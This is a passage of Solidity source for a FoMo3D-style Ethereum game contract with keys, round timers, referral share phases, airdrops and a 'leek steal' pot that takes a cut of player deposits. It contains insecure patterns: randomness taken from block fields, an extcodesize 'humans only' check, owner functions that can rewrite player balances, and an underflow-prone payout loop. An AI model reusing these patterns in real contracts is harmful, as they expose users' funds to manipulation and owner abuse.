uint256 constant private priceStage6_ = 16000e18;
uint256 constant private priceStage7_ = 32000e18;
uint256 constant private priceStage8_ = 64000e18;
uint256 constant private priceStage9_ = 128000e18;
uint256 constant private priceStage10_ = 256000e18;
uint256 constant private priceStage11_ = 512000e18;
uint256 constant private priceStage12_ = 1024000e18;
uint256 constant private guPhrase1_ = 5 days;
uint256 constant private guPhrase2_ = 7 days;
uint256 constant private guPhrase3_ = 9 days;
uint256 constant private guPhrase4_ = 11 days;
uint256 constant private guPhrase5_ = 13 days;
uint256 constant private guPhrase6_ = 15 days;
uint256 constant private guPhrase7_ = 17 days;
uint256 constant private guPhrase8_ = 19 days;
uint256 constant private guPhrase9_ = 21 days;
uint256 constant private guPhrase10_ = 23 days;
uint256 public contractStartDate_;
uint256 public allMaskGu_;
uint256 public allGuGiven_;
mapping (uint256 => uint256) public playOrders_;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
mapping (uint256 => mapping (uint256 => uint256)) public airDropWinners_;
uint256 public airDropCount_;
uint256 public leekStealPot_;
uint256 public leekStealTracker_ = 0;
uint256 public leekStealToday_;
bool public leekStealOn_;
mapping (uint256 => uint256) public dayStealTime_;
mapping (uint256 => uint256) public leekStealWins_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (uint256 => Datasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => Datasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (uint256 => Datasets.PlayerPhrases)) public plyrPhas_;
uint256 public rID_;
mapping (uint256 => Datasets.Round) public round_;
uint256 public phID_;
mapping (uint256 => Datasets.Phrase) public phrase_;
mapping(address => bool) public whitelisted_Prebuy;
constructor()
public
{
pIDxAddr_[owner] = 0;
plyr_[0].addr = owner;
pIDxAddr_[WALLET_ETH_COM1] = 1;
plyr_[1].addr = WALLET_ETH_COM1;
pIDxAddr_[WALLET_ETH_COM2] = 2;
plyr_[2].addr = WALLET_ETH_COM2;
pID_ = 2;
}
modifier isActivated() {
require(activated_ == true);
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000);
require(_eth <= 100000000000000000000000);
_;
}
modifier withinMigrationPeriod() {
require(now < 1535637600);
_;
}
function deposit()
isWithinLimits(msg.value)
onlyOwner
public
payable
{}
function migrateBasicData(uint256 allMaskGu, uint256 allGuGiven,
uint256 airDropPot, uint256 airDropTracker, uint256 leekStealPot, uint256 leekStealTracker, uint256 leekStealToday,
uint256 pID, uint256 rID)
withinMigrationPeriod
onlyOwner
public
{
allMaskGu_ = allMaskGu;
allGuGiven_ = allGuGiven;
airDropPot_ = airDropPot;
airDropTracker_ = airDropTracker;
leekStealPot_ = leekStealPot;
leekStealTracker_ = leekStealTracker;
leekStealToday_ = leekStealToday;
pID_ = pID;
rID_ = rID;
}
function migratePlayerData1(uint256 _pID, address addr, uint256 win,
uint256 gen, uint256 genGu, uint256 aff, uint256 refund, uint256 lrnd,
uint256 laff, uint256 withdraw)
withinMigrationPeriod
onlyOwner
public
{
pIDxAddr_[addr] = _pID;
plyr_[_pID].addr = addr;
plyr_[_pID].win = win;
plyr_[_pID].gen = gen;
plyr_[_pID].genGu = genGu;
plyr_[_pID].aff = aff;
plyr_[_pID].refund = refund;
plyr_[_pID].lrnd = lrnd;
plyr_[_pID].laff = laff;
plyr_[_pID].withdraw = withdraw;
}
function migratePlayerData2(uint256 _pID, address addr, uint256 maskGu,
uint256 gu, uint256 referEth, uint256 lastClaimedPhID)
withinMigrationPeriod
onlyOwner
public
{
pIDxAddr_[addr] = _pID;
plyr_[_pID].addr = addr;
plyr_[_pID].maskGu = maskGu;
plyr_[_pID].gu = gu;
plyr_[_pID].referEth = referEth;
plyr_[_pID].lastClaimedPhID = lastClaimedPhID;
}
function migratePlayerRoundsData(uint256 _pID, uint256 eth, uint256 keys, uint256 maskKey, uint256 genWithdraw)
withinMigrationPeriod
onlyOwner
public
{
plyrRnds_[_pID][1].eth = eth;
plyrRnds_[_pID][1].keys = keys;
plyrRnds_[_pID][1].maskKey = maskKey;
plyrRnds_[_pID][1].genWithdraw = genWithdraw;
}
function migratePlayerPhrasesData(uint256 _pID, uint256 eth, uint256 guRewarded)
withinMigrationPeriod
onlyOwner
public
{
plyrPhas_[_pID][1].eth = eth;
plyrPhas_[_pID][1].guRewarded = guRewarded;
}
function migrateRoundData(uint256 plyr, uint256 end, bool ended, uint256 strt,
uint256 allkeys, uint256 keys, uint256 eth, uint256 pot, uint256 maskKey, uint256 playCtr, uint256 withdraw)
withinMigrationPeriod
onlyOwner
public
{
round_[1].plyr = plyr;
round_[1].end = end;
round_[1].ended = ended;
round_[1].strt = strt;
round_[1].allkeys = allkeys;
round_[1].keys = keys;
round_[1].eth = eth;
round_[1].pot = pot;
round_[1].maskKey = maskKey;
round_[1].playCtr = playCtr;
round_[1].withdraw = withdraw;
}
function migratePhraseData(uint256 eth, uint256 guGiven, uint256 mask,
uint256 minEthRequired, uint256 guPoolAllocation)
withinMigrationPeriod
onlyOwner
public
{
phrase_[1].eth = eth;
phrase_[1].guGiven = guGiven;
phrase_[1].mask = mask;
phrase_[1].minEthRequired = minEthRequired;
phrase_[1].guPoolAllocation = guPoolAllocation;
}
function updateWhitelist(address[] _addrs, bool _isWhitelisted)
public
onlyOwner
{
for (uint i = 0; i < _addrs.length; i++) {
whitelisted_Prebuy[_addrs[i]] = _isWhitelisted;
}
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++;
pIDxAddr_[msg.sender] = pID_;
plyr_[pID_].addr = msg.sender;
_pID = pID_;
}
buyCore(_pID, plyr_[_pID].laff);
}
function buyXid(uint256 _affID)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
pID_++;
pIDxAddr_[msg.sender] = pID_;
plyr_[pID_].addr = msg.sender;
_pID = pID_;
}
if (_affID == 0 || _affID == _pID || _affID > pID_)
{
_affID = plyr_[_pID].laff;
}
else if (_affID != plyr_[_pID].laff)
{
if (plyr_[_pID].laff == 0)
plyr_[_pID].laff = _affID;
else
_affID = plyr_[_pID].laff;
}
buyCore(_pID, _affID);
}
function reLoadXid()
isActivated()
isHuman()
public
{
uint256 _pID = pIDxAddr_[msg.sender];
require(_pID > 0);
reLoadCore(_pID, plyr_[_pID].laff);
}
function reLoadCore(uint256 _pID, uint256 _affID)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[rID_].strt + whitelistRange_) {
require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]);
}
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
uint256 _eth = withdrawEarnings(_pID, false);
if (_eth > 0) {
core(_rID, _pID, _eth, _affID);
}
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
endRound();
}
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
round_[_rID].ended = true;
endRound();
_eth = withdrawEarnings(_pID, true);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
} else {
_eth = withdrawEarnings(_pID, true);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
}
}
function buyCore(uint256 _pID, uint256 _affID)
whenNotPaused_1
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[rID_].strt + whitelistRange_) {
require(whitelisted_Prebuy[plyr_[_pID].addr] || whitelisted_Prebuy[plyr_[_affID].addr]);
}
if (_now > round_[_rID].strt && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
endRound();
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
}
uint256 _availableLimit;
uint256 _refund;
if (round_[_rID].eth < ethLimiterRange1_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter1_)
{
_availableLimit = (ethLimiter1_).sub(plyrRnds_[_pID][_rID].eth);
_refund = _eth.sub(_availableLimit);
plyr_[_pID].refund = plyr_[_pID].refund.add(_refund);
_eth = _availableLimit;
} else if (round_[_rID].eth < ethLimiterRange2_ && plyrRnds_[_pID][_rID].eth.add(_eth) > ethLimiter2_)
{
_availableLimit = (ethLimiter2_).sub(plyrRnds_[_pID][_rID].eth);
_refund = _eth.sub(_availableLimit);
plyr_[_pID].refund = plyr_[_pID].refund.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1e9)
{
uint256 _keys = keysRec(round_[_rID].eth, _eth);
if (_keys >= 1e18)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
emit KeyPurchase(plyr_[round_[_rID].plyr].addr, _eth, _keys);
}
if (_eth >= 1e17)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 1e19)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 1e18 && _eth < 1e19) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
} else if (_eth >= 1e17 && _eth < 1e18) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
}
airDropTracker_ = 0;
airDropCount_++;
airDropWinners_[airDropCount_][_pID] = _prize;
}
}
leekStealGo();
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].playCtr++;
playOrders_[round_[_rID].playCtr] = pID_;
round_[_rID].allkeys = _keys.add(round_[_rID].allkeys);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
distributeExternal(_rID, _pID, _eth, _affID);
distributeInternal(_rID, _pID, _eth, _keys);
updateGuReferral(_pID, _affID, _eth);
checkDoubledProfit(_pID, _rID);
checkDoubledProfit(_affID, _rID);
}
}
function checkDoubledProfit(uint256 _pID, uint256 _rID)
private
{
uint256 _keys = plyrRnds_[_pID][_rID].keys;
if (_keys > 0) {
uint256 _genVault = plyr_[_pID].gen;
uint256 _genWithdraw = plyrRnds_[_pID][_rID].genWithdraw;
uint256 _genEarning = calcUnMaskedKeyEarnings(_pID, plyr_[_pID].lrnd);
uint256 _doubleProfit = (plyrRnds_[_pID][_rID].eth).mul(2);
if (_genVault.add(_genWithdraw).add(_genEarning) >= _doubleProfit)
{
uint256 _remainProfit = _doubleProfit.sub(_genVault).sub(_genWithdraw);
plyr_[_pID].gen = _remainProfit.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rID].keyProfit = _remainProfit.add(plyrRnds_[_pID][_rID].keyProfit);
round_[_rID].keys = round_[_rID].keys.sub(_keys);
plyrRnds_[_pID][_rID].keys = plyrRnds_[_pID][_rID].keys.sub(_keys);
plyrRnds_[_pID][_rID].maskKey = 0;
}
}
}
function keysRec(uint256 _curEth, uint256 _newEth)
private
returns (uint256)
{
uint256 _startEth;
uint256 _incrRate;
uint256 _initPrice;
if (_curEth < priceStage1_) {
_startEth = 0;
_initPrice = 33333;
_incrRate = 50000000;
}
else if (_curEth < priceStage2_) {
_startEth = priceStage1_;
_initPrice = 25000;
_incrRate = 50000000;
}
else if (_curEth < priceStage3_) {
_startEth = priceStage2_;
_initPrice = 20000;
_incrRate = 50000000;
}
else if (_curEth < priceStage4_) {
_startEth = priceStage3_;
_initPrice = 12500;
_incrRate = 26666666;
}
else if (_curEth < priceStage5_) {
_startEth = priceStage4_;
_initPrice = 5000;
_incrRate = 17777777;
}
else if (_curEth < priceStage6_) {
_startEth = priceStage5_;
_initPrice = 2500;
_incrRate = 10666666;
}
else if (_curEth < priceStage7_) {
_startEth = priceStage6_;
_initPrice = 1000;
_incrRate = 5688282;
}
else if (_curEth < priceStage8_) {
_startEth = priceStage7_;
_initPrice = 250;
_incrRate = 2709292;
}
else if (_curEth < priceStage9_) {
_startEth = priceStage8_;
_initPrice = 62;
_incrRate = 1161035;
}
else if (_curEth < priceStage10_) {
_startEth = priceStage9_;
_initPrice = 14;
_incrRate = 451467;
}
else if (_curEth < priceStage11_) {
_startEth = priceStage10_;
_initPrice = 2;
_incrRate = 144487;
}
else if (_curEth < priceStage12_) {
_startEth = priceStage11_;
_initPrice = 0;
_incrRate = 40128;
}
else {
_startEth = priceStage12_;
_initPrice = 0;
_incrRate = 40128;
}
return _newEth.mul(((_incrRate.mul(_initPrice)) / (_incrRate.add(_initPrice.mul((_curEth.sub(_startEth))/1e18)))));
}
function updateGuReferral(uint256 _pID, uint256 _affID, uint256 _eth) private {
uint256 _newPhID = updateGuPhrase();
if (phID_ < _newPhID) {
updateReferralMasks(phID_);
plyr_[1].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[1].gu);
plyr_[2].gu = (phrase_[_newPhID].guPoolAllocation / 10).add(plyr_[2].gu);
phrase_[_newPhID].guGiven = (phrase_[_newPhID].guPoolAllocation / 5).add(phrase_[_newPhID].guGiven);
allGuGiven_ = (phrase_[_newPhID].guPoolAllocation / 5).add(allGuGiven_);
phID_ = _newPhID;
}
if (_affID != 0 && _affID != _pID) {
plyrPhas_[_affID][_newPhID].eth = _eth.add(plyrPhas_[_affID][_newPhID].eth);
plyr_[_affID].referEth = _eth.add(plyr_[_affID].referEth);
phrase_[_newPhID].eth = _eth.add(phrase_[_newPhID].eth);
}
uint256 _remainGuReward = phrase_[_newPhID].guPoolAllocation.sub(phrase_[_newPhID].guGiven);
if (plyrPhas_[_affID][_newPhID].eth >= phrase_[_newPhID].minEthRequired && _remainGuReward >= 1e18) {
uint256 _totalReward = plyrPhas_[_affID][_newPhID].eth / phrase_[_newPhID].minEthRequired;
_totalReward = _totalReward.mul(1e18);
uint256 _rewarded = plyrPhas_[_affID][_newPhID].guRewarded;
uint256 _toReward = _totalReward.sub(_rewarded);
if (_remainGuReward < _toReward) _toReward = _remainGuReward;
if (_toReward > 0) {
plyr_[_affID].gu = _toReward.add(plyr_[_affID].gu);
plyrPhas_[_affID][_newPhID].guRewarded = _toReward.add(plyrPhas_[_affID][_newPhID].guRewarded);
phrase_[_newPhID].guGiven = 1e18.add(phrase_[_newPhID].guGiven);
allGuGiven_ = 1e18.add(allGuGiven_);
}
}
}
function updateReferralMasks(uint256 _phID) private {
uint256 _remainGu = phrase_[phID_].guPoolAllocation.sub(phrase_[phID_].guGiven);
if (_remainGu > 0 && phrase_[_phID].eth > 0) {
uint256 _gpe = (_remainGu.mul(1e18)) / phrase_[_phID].eth;
phrase_[_phID].mask = _gpe.add(phrase_[_phID].mask);
}
}
function transferGu(address _to, uint256 _guAmt)
public
whenNotPaused_2
returns (bool)
{
require(_to != address(0));
if (_guAmt > 0) {
uint256 _pIDFrom = pIDxAddr_[msg.sender];
uint256 _pIDTo = pIDxAddr_[_to];
require(plyr_[_pIDFrom].addr == msg.sender);
require(plyr_[_pIDTo].addr == _to);
uint256 _profit = (allMaskGu_.mul(_guAmt)/1e18).sub( (plyr_[_pIDFrom].maskGu.mul(_guAmt) / plyr_[_pIDFrom].gu) );
plyr_[_pIDFrom].genGu = _profit.add(plyr_[_pIDFrom].genGu);
plyr_[_pIDFrom].guProfit = _profit.add(plyr_[_pIDFrom].guProfit);
plyr_[_pIDFrom].maskGu = plyr_[_pIDFrom].maskGu.sub( (allMaskGu_.mul(_guAmt)/1e18).sub(_profit) );
plyr_[_pIDTo].maskGu = (allMaskGu_.mul(_guAmt)/1e18).add(plyr_[_pIDTo].maskGu);
plyr_[_pIDFrom].gu = plyr_[_pIDFrom].gu.sub(_guAmt);
plyr_[_pIDTo].gu = plyr_[_pIDTo].gu.add(_guAmt);
return true;
}
else
return false;
}
function updateGuPhrase()
private
returns (uint256)
{
if (now <= contractStartDate_ + guPhrase1_) {
phrase_[1].minEthRequired = 5e18;
phrase_[1].guPoolAllocation = 100e18;
return 1;
}
if (now <= contractStartDate_ + guPhrase2_) {
phrase_[2].minEthRequired = 4e18;
phrase_[2].guPoolAllocation = 200e18;
return 2;
}
if (now <= contractStartDate_ + guPhrase3_) {
phrase_[3].minEthRequired = 3e18;
phrase_[3].guPoolAllocation = 400e18;
return 3;
}
if (now <= contractStartDate_ + guPhrase4_) {
phrase_[4].minEthRequired = 2e18;
phrase_[4].guPoolAllocation = 800e18;
return 4;
}
if (now <= contractStartDate_ + guPhrase5_) {
phrase_[5].minEthRequired = 1e18;
phrase_[5].guPoolAllocation = 1600e18;
return 5;
}
if (now <= contractStartDate_ + guPhrase6_) {
phrase_[6].minEthRequired = 1e18;
phrase_[6].guPoolAllocation = 3200e18;
return 6;
}
if (now <= contractStartDate_ + guPhrase7_) {
phrase_[7].minEthRequired = 1e18;
phrase_[7].guPoolAllocation = 6400e18;
return 7;
}
if (now <= contractStartDate_ + guPhrase8_) {
phrase_[8].minEthRequired = 1e18;
phrase_[8].guPoolAllocation = 12800e18;
return 8;
}
if (now <= contractStartDate_ + guPhrase9_) {
phrase_[9].minEthRequired = 1e18;
phrase_[9].guPoolAllocation = 25600e18;
return 9;
}
if (now <= contractStartDate_ + guPhrase10_) {
phrase_[10].minEthRequired = 1e18;
phrase_[10].guPoolAllocation = 51200e18;
return 10;
}
phrase_[11].minEthRequired = 0;
phrase_[11].guPoolAllocation = 0;
return 11;
}
function calcUnMaskedKeyEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
if ( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)) > (plyrRnds_[_pID][_rIDlast].maskKey) )
return( (((round_[_rIDlast].maskKey).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1e18)).sub(plyrRnds_[_pID][_rIDlast].maskKey) );
else
return 0;
}
function calcUnMaskedGuEarnings(uint256 _pID)
private
view
returns(uint256)
{
if ( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)) > (plyr_[_pID].maskGu) )
return( ((allMaskGu_.mul(plyr_[_pID].gu)) / (1e18)).sub(plyr_[_pID].maskGu) );
else
return 0;
}
function endRound()
private
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(40)) / 100;
uint256 _res = (_pot.mul(10)) / 100;
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
pay500Winners(_pot);
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_);
round_[_rID].pot = _res;
}
function pay500Winners(uint256 _pot) private {
uint256 _rID = rID_;
uint256 _plyCtr = round_[_rID].playCtr;
uint256 _win2 = _pot.mul(25).div(100).div(9);
for (uint256 i = _plyCtr.sub(9); i <= _plyCtr.sub(1); i++) {
plyr_[playOrders_[i]].win = _win2.add(plyr_[playOrders_[i]].win);
}
uint256 _win3 = _pot.mul(15).div(100).div(90);
for (uint256 j = _plyCtr.sub(99); j <= _plyCtr.sub(10); j++) {
plyr_[playOrders_[j]].win = _win3.add(plyr_[playOrders_[j]].win);
}
uint256 _win4 = _pot.mul(10).div(100).div(400);
for (uint256 k = _plyCtr.sub(499); k <= _plyCtr.sub(100); k++) {
plyr_[playOrders_[k]].win = _win4.add(plyr_[playOrders_[k]].win);
}
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedKeyEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].maskKey = _earnings.add(plyrRnds_[_pID][_rIDlast].maskKey);
plyrRnds_[_pID][_rIDlast].keyProfit = _earnings.add(plyrRnds_[_pID][_rIDlast].keyProfit);
}
}
function updateGenGuVault(uint256 _pID)
private
{
uint256 _earnings = calcUnMaskedGuEarnings(_pID);
if (_earnings > 0)
{
plyr_[_pID].genGu = _earnings.add(plyr_[_pID].genGu);
plyr_[_pID].maskGu = _earnings.add(plyr_[_pID].maskGu);
plyr_[_pID].guProfit = _earnings.add(plyr_[_pID].guProfit);
}
}
function updateReferralGu(uint256 _pID)
private
{
uint256 _phID = phID_;
uint256 _lastClaimedPhID = plyr_[_pID].lastClaimedPhID;
if (_phID > _lastClaimedPhID)
{
uint256 _guShares;
for (uint i = (_lastClaimedPhID + 1); i < _phID; i++) {
_guShares = (((phrase_[i].mask).mul(plyrPhas_[_pID][i].eth))/1e18).add(_guShares);
plyr_[_pID].lastClaimedPhID = i;
phrase_[i].guGiven = _guShares.add(phrase_[i].guGiven);
plyrPhas_[_pID][i].guRewarded = _guShares.add(plyrPhas_[_pID][i].guRewarded);
}
plyr_[_pID].gu = _guShares.add(plyr_[_pID].gu);
plyr_[_pID].maskGu = ((allMaskGu_.mul(_guShares)) / 1e18).add(plyr_[_pID].maskGu);
allGuGiven_ = _guShares.add(allGuGiven_);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function randomNum(uint256 _tracker)
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < _tracker)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID)
private
{
uint256 _com = _eth / 100;
address(WALLET_ETH_COM1).transfer(_com);
address(WALLET_ETH_COM2).transfer(_com);
uint256 _aff = _eth / 10;
if (_affID != _pID && _affID != 0) {
plyr_[_affID].aff = (_aff.mul(8)/10).add(plyr_[_affID].aff);
uint256 _affID2 = plyr_[_affID].laff;
if (_affID2 != _pID && _affID2 != 0) {
plyr_[_affID2].aff = (_aff.mul(2)/10).add(plyr_[_affID2].aff);
}
} else {
plyr_[1].aff = _aff.add(plyr_[_affID].aff);
}
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _keys)
private
{
uint256 _gen = (_eth.mul(40)) / 100;
uint256 _jcg = (_eth.mul(20)) / 100;
uint256 _air = (_eth.mul(3)) / 100;
airDropPot_ = airDropPot_.add(_air);
uint256 _steal = (_eth / 20);
leekStealPot_ = leekStealPot_.add(_steal);
_eth = _eth.sub(((_eth.mul(20)) / 100));
uint256 _pot = _eth.sub(_gen).sub(_jcg);
uint256 _dustKey = updateKeyMasks(_rID, _pID, _gen, _keys);
uint256 _dustGu = updateGuMasks(_pID, _jcg);
round_[_rID].pot = _pot.add(_dustKey).add(_dustGu).add(round_[_rID].pot);
}
function updateKeyMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1e18)) / (round_[_rID].keys);
round_[_rID].maskKey = _ppt.add(round_[_rID].maskKey);
uint256 _pearn = (_ppt.mul(_keys)) / (1e18);
plyrRnds_[_pID][_rID].maskKey = (((round_[_rID].maskKey.mul(_keys)) / (1e18)).sub(_pearn)).add(plyrRnds_[_pID][_rID].maskKey);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1e18)));
}
function updateGuMasks(uint256 _pID, uint256 _jcg)
private
returns(uint256)
{
if (allGuGiven_ > 0) {
uint256 _ppg = (_jcg.mul(1e18)) / allGuGiven_;
allMaskGu_ = _ppg.add(allMaskGu_);
return (_jcg.sub((_ppg.mul(allGuGiven_)) / (1e18)));
} else {
return _jcg;
}
}
function withdrawEarnings(uint256 _pID, bool isWithdraw)
whenNotPaused_3
private
returns(uint256)
{
uint256 _rID = plyr_[_pID].lrnd;
updateGenGuVault(_pID);
updateReferralGu(_pID);
checkDoubledProfit(_pID, _rID);
updateGenVault(_pID, _rID);
uint256 _earnings = plyr_[_pID].gen.add(plyr_[_pID].win).add(plyr_[_pID].genGu).add(plyr_[_pID].aff).add(plyr_[_pID].refund);
if (_earnings > 0)
{
if (isWithdraw) {
plyrRnds_[_pID][_rID].winWithdraw = plyr_[_pID].win.add(plyrRnds_[_pID][_rID].winWithdraw);
plyrRnds_[_pID][_rID].genWithdraw = plyr_[_pID].gen.add(plyrRnds_[_pID][_rID].genWithdraw);
plyrRnds_[_pID][_rID].genGuWithdraw = plyr_[_pID].genGu.add(plyrRnds_[_pID][_rID].genGuWithdraw);
plyrRnds_[_pID][_rID].affWithdraw = plyr_[_pID].aff.add(plyrRnds_[_pID][_rID].affWithdraw);
plyrRnds_[_pID][_rID].refundWithdraw = plyr_[_pID].refund.add(plyrRnds_[_pID][_rID].refundWithdraw);
plyr_[_pID].withdraw = _earnings.add(plyr_[_pID].withdraw);
round_[_rID].withdraw = _earnings.add(round_[_rID].withdraw);
}
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].genGu = 0;
plyr_[_pID].aff = 0;
plyr_[_pID].refund = 0;
}
return(_earnings);
}
bool public activated_ = false;
function activate()
onlyOwner
public
{
require(activated_ == false);
activated_ = true;
contractStartDate_ = now;
rID_ = 1;
round_[1].strt = now;
round_[1].end = now + rndInit_;
}
function leekStealGo()
private
{
uint leekStealToday_ = (now.sub(round_[rID_].strt)) / 1 days;
if (dayStealTime_[leekStealToday_] == 0)
{
leekStealTracker_++;
if (randomNum(leekStealTracker_) == true)
{
dayStealTime_[leekStealToday_] = now;
leekStealOn_ = true;
}
}
}
function stealTheLeek()
whenNotPaused_4
public
{
if (leekStealOn_)
{
if (now.sub(dayStealTime_[leekStealToday_]) > 300)
{
leekStealOn_ = false;
} else {
if (leekStealPot_ > 1e18) {
uint256 _pID = pIDxAddr_[msg.sender];
plyr_[_pID].win = plyr_[_pID].win.add(1e18);
leekStealPot_ = leekStealPot_.sub(1e18);
leekStealWins_[_pID] = leekStealWins_[_pID].add(1e18);
}
}
}
}
function getPrice()
public
view
returns(uint256)
{
uint256 keys = keysRec(round_[rID_].eth, 1e18);
return (1e36 / keys);
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt).sub(_now) );
else
return(0);
}
function getDisplayGenVault(uint256 _pID)
private
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _lrnd = plyr_[_pID].lrnd;
uint256 _genVault = plyr_[_pID].gen;
uint256 _genEarning = calcUnMaskedKeyEarnings(_pID, _lrnd);
uint256 _doubleProfit = (plyrRnds_[_pID][_rID].eth).mul(2);
uint256 _displayGenVault = _genVault.add(_genEarning);
if (_genVault.add(_genEarning) > _doubleProfit)
_displayGenVault = _doubleProfit;
return _displayGenVault;
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
uint256 _winVault;
if (round_[_rID].plyr == _pID)
{
_winVault = (plyr_[_pID].win).add( ((round_[_rID].pot).mul(40)) / 100 );
} else {
_winVault = plyr_[_pID].win;
}
return
(
_winVault,
getDisplayGenVault(_pID),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
} else {
return
(
plyr_[_pID].win,
getDisplayGenVault(_pID),
(plyr_[_pID].genGu).add(calcUnMaskedGuEarnings(_pID)),
plyr_[_pID].aff,
plyr_[_pID].refund
);
}
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, uint256, uint256)
{
uint256 _rID = rID_;
return
(
_rID,
round_[_rID].allkeys,
round_[_rID].keys,
allGuGiven_,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
plyr_[round_[_rID].plyr].addr,
round_[_rID].eth,
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getCurrentPhraseInfo()
public
view
